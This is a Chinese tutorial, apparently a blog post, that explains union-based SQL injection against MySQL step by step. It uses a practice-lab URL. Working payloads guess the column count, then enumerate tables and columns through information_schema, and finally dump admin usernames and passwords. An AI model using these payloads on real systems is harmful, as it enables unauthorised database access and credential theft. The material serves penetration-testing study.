——鲁迅曾经说过:“有数据库的地方就有SQL注入”

联合查询注入

首先收集信息分析猜测数据库类型,根据不同的数据库类型选择不同的思路。

以MySQL数据库为例:
database():当前网站使用的数据库
user():当前用户
version():当前MySQL版本


eg : mysql5.0以及5.0以上的版本都存在一个系统自带的系统数据库,叫做:information_schema,而5.0以下的版本不存在。information_schema下面又包含了这几张表:schemata、tables、columns。这三张表依次分别存放着字段:(schema_name)、(table_name、table_schema)、(table_schema、table_name、column_name),其次就是5.0以上都是多用户,5.0以下是单用户。
所以一旦判断出数据库版本在5.0以上,我们就可以根据information_schema数据库中的信息,进行数据爆破,获取任意表信息。


1
[select](http://pu2lh35s.ia.aqlab.cn/index.php?id=1)

根据信息收据到的可注入点的代码可以进行联合查询
黑盒:
首先找到可控变量:?ID=xxx

1、order by xxx(猜列)

  • 2正常,3报错,所以是两列。

3、select union 1,2

1
http://pu2lh35s.ia.aqlab.cn/index.php?id=1%20and%201=2%20union%20select%201,2

爆出2

在第二个数插入想要查找的值对应代码

1
2
and 1=2 union select 1,database()
http://pu2lh35s.ia.aqlab.cn/index.php?id=1%20and%201=2%20union%20select%201,database()

显示数据库名称 XXX

4、MySQL数据库版本大于5.0

爆出的数据库名

1
?id=20 union select 1,database()#

爆表名

1
?id=20 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

爆列字段名

1
?id=20 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'#

爆字段对应的值

1
?id=20 union select 1,group_concat(username,0x3a,password) from admin#